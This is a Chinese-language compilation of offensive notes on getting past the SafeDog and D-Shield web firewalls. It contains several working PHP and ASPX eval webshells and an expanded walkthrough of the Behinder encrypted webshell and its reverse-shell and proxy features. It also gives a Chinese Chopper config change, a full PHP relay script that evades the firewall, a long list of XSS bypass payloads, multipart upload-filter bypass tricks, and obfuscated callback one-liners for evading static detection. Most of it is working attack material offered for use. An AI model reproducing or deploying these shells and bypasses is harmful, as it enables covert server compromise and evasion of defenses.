apache环境

<?php
eval(next(getallheaders())); 
?>

apache和nginx环境通用

<?php
eval(implode(reset(get_defined_vars())));
?>

另外一种通过执行伪造的sessionid值，进行任意代码执行。

<?php
eval(hex2bin(session_id(session_start())));
?>

706870696e666f28293b这个是phpinfo();的hex编码。

给shell加密码

<?php eval(get_defined_vars()['_GET']['cmd']);?>

rebeyond大大出的神器冰蝎下载地址

作为新型加密网站管理客户端，冰蝎算是作为中国菜刀的替代者。我们来看下他的主要功能。

主要功能

1. 基本信息

客户端和服务端握手之后，会获取服务器的基本信息，Java、.NET版本包括环境变量、系统属性等，PHP版本会显示phpinfo的内容。

2. 文件管理

这个没什么好说的，无非是文件的增删改查，稍微不同的是上传的文件都是加密传输的，可以避免被拦截。

3. 命令执行

执行单条操作系统命令。

4. 虚拟终端

虚拟终端是模拟了一个真实的交互式Shell环境，相当于把服务器侧的Shell给搬到了客户端，在这个Shell里可以执行各种需要交互式的命令，如ssh、mysql。比如说：我们可以在这个Shell里去ssh连接服务器侧内网的其他主机，可以参考下面这个动图：

当然，如果你习惯powershell，也可以弹个powershell出来，如下图：

5. Socks代理

虚拟终端功能其实就已经部分实现了内网穿透的能力，在Shell环境里做的所有事情都是在内网环境中的。不过为了方便使用其他工具，客户端还提供了基于一句话木马的Socks代理功能，一键开启，简单高效，可以参考如下动图：

顺便说一下，代理过程中所有的流量都是在socks的基础上封装了一层AES。

6.反弹Shell

反弹Shell是突破防火墙的利器，也几乎是后渗透过程的必备步骤。提到后渗透，当然少不了metasploit，提到metasploit，当然少不了meterpreter，所以冰蝎客户端提供了两种反弹Shell的方式，常规Shell和Meterpreter，实现和metasploit的一键无缝对接。请参考如下动图：

上图演示的是Meterpreter，当然常规的Shell也可以对接metasploit，就不演示了。

7.数据库管理

常规功能，实现了数据库的可视化管理，放张截图吧：

和常规管理工具不同的是，在Java和.NET环境中，当目标机器中没有对应数据库的驱动时，会自动上传并加载数据库驱动。比如目标程序用的是MySQL的数据，但是内网有另外一台Oracle，此时就会自动上传并加载Oracle对应的驱动。

8.自定义代码

可以在服务端执行任意的Java、PHP、C#代码，这也是个常规功能，值得一提的是我们输入的代码都是加密传输的，所以不用为了躲避waf而用各种编码变形，效果请参考如下动图：

9.备忘录

渗透的时候总有很多零碎的信息需要记录，所以针对每个Shell提供了一个备忘录的功能，目前只支持纯文本，粘贴进去自动保存：

接下来我们看下他的亮点出在哪里

看下他的php一句话

<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>

为了代码可读性，我们来扩充下：

<?php
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);
}
?>

介绍下流程

• 首先get发起带密码的请求，服务端随机产生密钥存入session。

• 获取session中的密钥，然后将客户端发送的源代码进行aes加密，通过|分割，然后通过php的可变函数执行。

具体一点，比如我们客户端有一段代码

assert|eval("phpinfo();")

进行aes128加密发送给服务端，服务端用explode函数分割字符，索引为0的是assert，索引为1的是eval("phpinfo();")，然后通过可变函数执行assert("eval(\"phpinfo();\")")，这样就很清晰明了了。

过waf的效果

常规一句话<?php @eval($_POST['caidao']);?>菜刀链接：

新型一句话冰蝎链接：

对菜刀的修改

对这个一句话颇感兴趣，那么我们是不是可以把菜刀也改一改呢？

我本地搭建了环境，一句话内容为<?php @eval($_POST['caidao']);?>

先来抓包看下菜刀的请求包

在新版菜刀2016的caidao.conf中45行，%s是执行的命令

ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s

解密后

eval(base64_decode($_POST[id]));&id=%s

那么我们的一句话可以这样写

<?php
if ($_GET['pass']!=1){
}
else{
    $decrpt = file_get_contents("php://input");
    $arrs = explode("|", $decrpt)[1];
    $arrs = explode("|", base64_decode($arrs));
    call_user_func($arrs[0],$arrs[1]);
}
​
?>

你也可以这样来

<?php
$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
var_dump($arrs[0],$arrs[1]);
call_user_func($arrs[0],$arrs[1]);
?>

那么我们菜刀要改下

|assert|eval(base64_decode($_POST[id]));|&id=%s

在caidao.conf的45行就要改成

|YXNzZXJ0fGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbaWRdKSk7|&id=%s

这样和冰蝎实现的效果就一样了，同样过狗，愉快玩耍吧！

涉及到的资料，表示感谢！

https://www.t00ls.net/thread-48079-1-1.html

https://xz.aliyun.com/t/2774

在土司发了篇水文，有朋友问本地转发过狗的原理。虽然早就用了但是一直没认真研究过，借此机会研究一下。脚本非原创，链接文末贴出。

发现安全狗检测特征

网站存在安全狗的情况下即使上传了一句话菜刀也连不上，尤其是iis7.5解析漏洞，xx.jpg/.php解析了一句话并且安全狗不拦截，但是连不上shell就很头疼。
首先要知道安全狗是如何检测并拦截的。“经过分析发现安全狗对菜刀的HTTP进行了拦截，菜刀的POST数据里面对eval数据进行了base64编码，安全狗也是利用该特征进行检测的。”这是脚本作者原话(这里不确定是否为原作者，因为我只是在他博客看到的文章。)
具体安全狗是否是利用该特征对菜刀的http进行检测的，我没有研究过，但是取消掉base64编码安全狗的确不拦截了，所以这里就认为是利用该特征进行检测。

菜刀post数据分析

研究转发脚本先对菜刀的post数据分析一下，方便理解脚本。
利用wireshark对菜刀抓包分析发现，当我们自写脚本执行print(“test”)时，菜刀的post数据内容为:

test=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

这里的test，为我们上传的一句话的密码”<?php @eval($_POST[‘test’]); ?>”。
可以看到数据包的内容，菜刀将编码的部分解码然后发送给服务端（编码是为了防止特殊字符导致执行出现错误）。将后面的base64编码内容解码

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("hello PHP!");;echo("|<-");die();

都很容易理解就不废话了。

转发脚本原理

为了便于理解我画了一张图

转发脚本源代码:

<?php $target="";//webshell地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
    if(strstr($v, "base64_decode"))
        {
            $v=str_replace("base64_decode(","",$v);
            $v=str_replace("))",")",$v);
        }else
        {
            if($k==="z0")
                $v=base64_decode($v);
        }
    $pp=$k."=".urlencode($v);
    // echo $pp;
    if($i!=0)
    {
        $poststr=$poststr."&".$pp;
    }
    else
    {
        $poststr=$pp;
    }
    $i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING']; 
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

先分析foreach这一段:

foreach($_POST as $k=>$v)
{
    if(strstr($v, "base64_decode"))
        {
            $v=str_replace("base64_decode(","",$v);
            $v=str_replace("))",")",$v);
        }else
        {
            if($k==="z0")
                $v=base64_decode($v);
        }
    $pp=$k."=".urlencode($v);
    // echo $pp;
    if($i!=0)
    {
        $poststr=$poststr."&".$pp;
    }
    else
    {
        $poststr=$pp;
    }
    $i=$i+1;
}

去除$_POST数组中的键值，利用strstr函数匹配到base64_decode函数并返回剩下的字符串，然后取出z0的值base64_decode解码。经过第一个if条件语句处理完以后数据变为

test=@eval($_POST[z0]);@ini_set(“display_errors”,”0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“->|”);;print(“hello PHP!”);;echo(“|<-“);die();

将数据urlencode(服务端接收参数数据时会自动解码),剩下的的代码就是将两段数据用&连接起来。

$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING']; //获取url?后的值
curl_setopt($ch, CURLOPT_URL, $curl_url);//设置curl传输选项
curl_setopt($ch, CURLOPT_POST, 1);//发送post请求
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);// 全部数据使用HTTP协议中的 "POST" 操作来发送 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//TRUE 将curl_exec()获取的信息以字符串返回，而不是直接输出。
$result = curl_exec($ch);//执行
curl_close($ch);//关闭
echo $result;
?>

emmmm,cURL我理解为就是去访问shell地址的页面。这里我将注释写到了代码后面。
这里有个地方没有深入了解，就是为什么post的数据需要urlencode,我测试的时候去掉了该编码函数，菜刀连接提示页面返回信息有误，不知道是代码的原因还是不编码的话就被安全狗给拦截了。希望有懂的师傅指点一下。

参考文章：
h4ck0ne
中国菜刀原理

任重而道远

核心@X1r0z原创，总是有惊奇的脑回路。

ref-xss

绕过 payload 格式
<[WORD] on[EVENT]=[EVAL]>[TEXT]
在随机单词的标签内加上 on 事件, 最后在标签外加上文本.

因为 html 的松散性, 导致<sb>sb</sb> 都能被解析成标签, 并且支持触发类似于onclick onmouseover 的事件

特别小众的标签也可以绕过安全狗的规则, 比如acronym address 翻翻 w3c 的教程能找出好多

dom-xss

安全狗不存在 dom-xss 的拦截规则

基本上没有尖括号就可以绕过了, 或者使用上面的 payload

由于上下文是在 JavaScript 的环境内, 会有很多的变形

";alert(0);//
";document.write("\u003cscript\u003ealert(0)\u003c\u002fscript\u003e");//

总之先闭合 然后直接弹窗 or 用docment.write 写标签

payloads

<a onclick="javascript:alert(0)">a
<javascript onclick="javascript:alert(0)">a
<b onclick="javascript:alert(0)">a
<abbr onclick="javascript:alert(0)">a
<acronym onclick="javascript:alert(0)">a
<address onclick="javascript:alert(0)">a
<applet onclick="javascript:alert(0)">a
<article onclick="javascript:alert(0)">a
<xss onclick="javascript:alert(0)">a
<aside onclick="javascript:alert(0)">a
<bdi onclick="javascript:alert(0)">a
<bdo onclick="javascript:alert(0)">a
<big onclick="javascript:alert(0)">a
<button onclick="javascript:alert(0)">a
<del onclick="javascript:alert(0)">a
<details onclick="javascript:alert(0)">a
<div onclick="javascript:alert(0)">a
<dfn onclick="javascript:alert(0)">a
<dl onclick="javascript:alert(0)">a
<dt onclick="javascript:alert(0)">a
<h1 onclick="javascript:alert(0)">a
<h2 onclick="javascript:alert(0)">a
<h3 onclick="javascript:alert(0)">a
<h4 onclick="javascript:alert(0)">a
<h5 onclick="javascript:alert(0)">a
<h6 onclick="javascript:alert(0)">a
<header onclick="javascript:alert(0)">a
<hr onclick="javascript:alert(0)">a
<html onclick="javascript:alert(0)">a
<kbd onclick="javascript:alert(0)">a
<map onclick="javascript:alert(0)">a
<mark onclick="javascript:alert(0)">a
<menu onclick="javascript:alert(0)">a
<menuitem onclick="javascript:alert(0)">a
<meter onclick="javascript:alert(0)">a
<q onclick="javascript:alert(0)">a
<var onclick="javascript:alert(0)">a
<xmp onclick="javascript:alert(0)">a
<addons onclick="javascript:alert(0)">a
<ascii onclick="javascript:alert(0)">a
<aspx onclick="javascript:alert(0)">a
<java onclick="javascript:alert(0)">a
<mobile onclick="javascript:alert(0)">a
<go onclick="javascript:alert(0)">a
<alibaba onclick="javascript:alert(0)">a
<baidu onclick="javascript:alert(0)">a
<google onclick="javascript:alert(0)">a
<github onclick="javascript:alert(0)">a
<acu onclick="javascript:alert(0)">a
<mail onclick="javascript:alert(0)">a
<a onmouseover="javascript:alert(0)">a
<javascript onmouseover="javascript:alert(0)">a
<b onmouseover="javascript:alert(0)">a
<abbr onmouseover="javascript:alert(0)">a
<acronym onmouseover="javascript:alert(0)">a
<address onmouseover="javascript:alert(0)">a
<applet onmouseover="javascript:alert(0)">a
<article onmouseover="javascript:alert(0)">a
<xss onmouseover="javascript:alert(0)">a
<aside onmouseover="javascript:alert(0)">a
<bdi onmouseover="javascript:alert(0)">a
<bdo onmouseover="javascript:alert(0)">a
<big onmouseover="javascript:alert(0)">a
<button onmouseover="javascript:alert(0)">a
<del onmouseover="javascript:alert(0)">a
<details onmouseover="javascript:alert(0)">a
<div onmouseover="javascript:alert(0)">a
<dfn onmouseover="javascript:alert(0)">a
<dl onmouseover="javascript:alert(0)">a
<dt onmouseover="javascript:alert(0)">a
<h1 onmouseover="javascript:alert(0)">a
<h2 onmouseover="javascript:alert(0)">a
<h3 onmouseover="javascript:alert(0)">a
<h4 onmouseover="javascript:alert(0)">a
<h5 onmouseover="javascript:alert(0)">a
<h6 onmouseover="javascript:alert(0)">a
<header onmouseover="javascript:alert(0)">a
<hr onmouseover="javascript:alert(0)">a
<html onmouseover="javascript:alert(0)">a
<kbd onmouseover="javascript:alert(0)">a
<map onmouseover="javascript:alert(0)">a
<mark onmouseover="javascript:alert(0)">a
<menu onmouseover="javascript:alert(0)">a
<menuitem onmouseover="javascript:alert(0)">a
<meter onmouseover="javascript:alert(0)">a
<q onmouseover="javascript:alert(0)">a
<var onmouseover="javascript:alert(0)">a
<xmp onmouseover="javascript:alert(0)">a
<addons onmouseover="javascript:alert(0)">a
<ascii onmouseover="javascript:alert(0)">a
<aspx onmouseover="javascript:alert(0)">a
<java onmouseover="javascript:alert(0)">a
<mobile onmouseover="javascript:alert(0)">a
<go onmouseover="javascript:alert(0)">a
<alibaba onmouseover="javascript:alert(0)">a
<baidu onmouseover="javascript:alert(0)">a
<google onmouseover="javascript:alert(0)">a
<github onmouseover="javascript:alert(0)">a
<acu onmouseover="javascript:alert(0)">a
<mail onmouseover="javascript:alert(0)">a

原理未知

安全狗竟然查杀不了这么 nb 的 code

<%@ Page Language="Jscript"%>
<%eval(/*s*/ Request.Item["pass"],"unsafe");%>

0x00 介绍

前篇文章我与某狗的恩恩怨怨也介绍了一种，免杀大马的姿势，今天再介绍一种，思路来源T00ls论坛。

0x01 源码

还是一样大马源码一份，然后base64加密。
直接上代码了。

本地测试过狗过D盾，当然这是静态免杀。
感觉你们会觉得我不上图，不信我，那就自己动手手试试= =。

0x02 思路

可以看到首先base64加密，然后就像编写一句话一样，去执行我们的代码，也就是base64加密的的，思路还是可以扩展很多的，但是会waf拦截某些函数执行，就换份大马源码，但是这种方法过狗足够了。

0x03 成品

上传到GitHub了 下载地址
另外这个大马是国外的，用不习惯的自行加密更换

补图：(1.php是大马)

原创文章，转载请标明出处！

0x00 介绍

鲁迅说:偷窃一个的是创意剽窃，偷窃很多人的创意是研究。

本文是个人学习的一个小总结，很多思路都是学习网上大佬的，可能本文中的某个思路或许已经被公布，但是我阅历比较少，并不知道，如果有重复的，可以提出来，我会文章后面贴上地址。

0x01 上传绕过

说到突破狗绕过，公布的姿势太多了，常规的后缀大小写修改、截断上传、不规则文件名截断、删除Conten-Type、垃圾数据填充等。我简单的总结下。

环境

Windows版某狗ApacheV3.5+phpstudy

说道这里，可能有人会吐槽你这是V3.5的不是还有个V4.0的嘛，什么文章啊垃圾。关于版本问题我以前写过一篇水文，绕的是V4.0加服务器安全狗，不多说直接上图。

其实版本是有差异但是方法都是一样的。

绕过

Burp抓包 原本数据包

------WebKitFormBoundaryl2Fe3Re3WQjeJFBi
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

思路：改变大小写+垃圾数据填充+删除
主要从这里入手
Content-Disposition: form-data; name="file"; filename="1.php"

Content-Disposition:大写C改为小写c

form-data;前面加zz

form-data;把f去掉
上面三个例子只是简单的一个小例子，我想给大家说的其实是，我们可以下面的数据为所欲为
Content-Disposition: form-data; name="file"; filename="1.php"
比如随便删除，修改，回车，增添，倒转都可以，然后你会发现绕狗上传是如此简单。
下面介绍几个有趣点的:
filename="4.php"改成filename=4.php filename""

倒转把Content-Type: application/octet-stream提到上面来

把name="file"提到前面来
Content-Disposition: name="file"; form-data; filename="6.php"
回车:

还有 " ' ;

filename=""xx.php"  //加个双引号
filename=";xx.php"  //加个分号
filename="'xx.php"  //加个单引号

就到这里告一段落了，关于狗的版本差异问题没多大，上面的方法试试，然后就可以找到了，大家可以多动手，发挥脑洞，这类方法也可以在其他WAF试试，给大家提供些思路协议未覆盖，Fuzz模糊测试突破文件上传。

0x02 免杀一句话

这里我详细讲解一个过狗过D盾的php一句话的编写。在Tool论坛分享过

• 先来看看我们常见的PHP一句话长啥样

“
首先我们需要了解两个PHP函数 call_user_func()和array_map()

• call_user_func()

function uu($x,$y){     //定义了一个uu的函数 参数为变量 $x,$y
        return $x.$y;      //返回值为 是将$x和$y拼接
}
echo @call_user_func('uu',Too,ls);  //将"Too,ls"分别传给 $x , $y ,组成Tools，  echo输出Tools @是防止报错

运行结果

大家知道 assert是PHP一句话中常见的执行函数

function uu($x,$y){
        return $x.$y;
}
echo @call_user_func('uu',ass,ert);

如果我们这样写是不是就组成了assert, 满足文章开头常见一句话的特征咯。

• array_map()

看个小例子i

效果: 大家只要记住 $arr可以是个数组

如果我们这样写，也算个数组了，看到这里很多小伙伴灵机一动
$i = array($_POST[x]);

• 编写一句话

把上述的列子结合起来就可以了

去掉注释比较方便。

是免杀的，过狗的可以的

• 总结

主要是用各种方法拼接组合相关执行函数，然后运用回调函数的方法来执行。免杀可能是一时的，但是思路是活的，大家可以去学学php基础，也可以轻易写出免杀的一句话。

0x03 免杀大马

思路来源

• 首先需要一份大马源码

• 思路

// base64_decode函数的作用是对base64编码过的数据进行解码

• 免杀

有人说这只是静态免杀，大马操作时候还会拦截，然而并不会。
我在大马上执行命令还是不会拦截。

总结

我们是站在前人的肩膀上成长起来的。

代码

array_map()

array_map() 函数将用户自定义函数作用到数组中的每个值上, 并返回用户自定义函数作用后的带有新值的数组

初始代码

array_map($_GET['1'],$$a);
D盾 一级

但 D盾 不拦截赋值语句

array_map($b=$_GET['1'],$c=$a);

绕过

加上 @ 关闭错误回显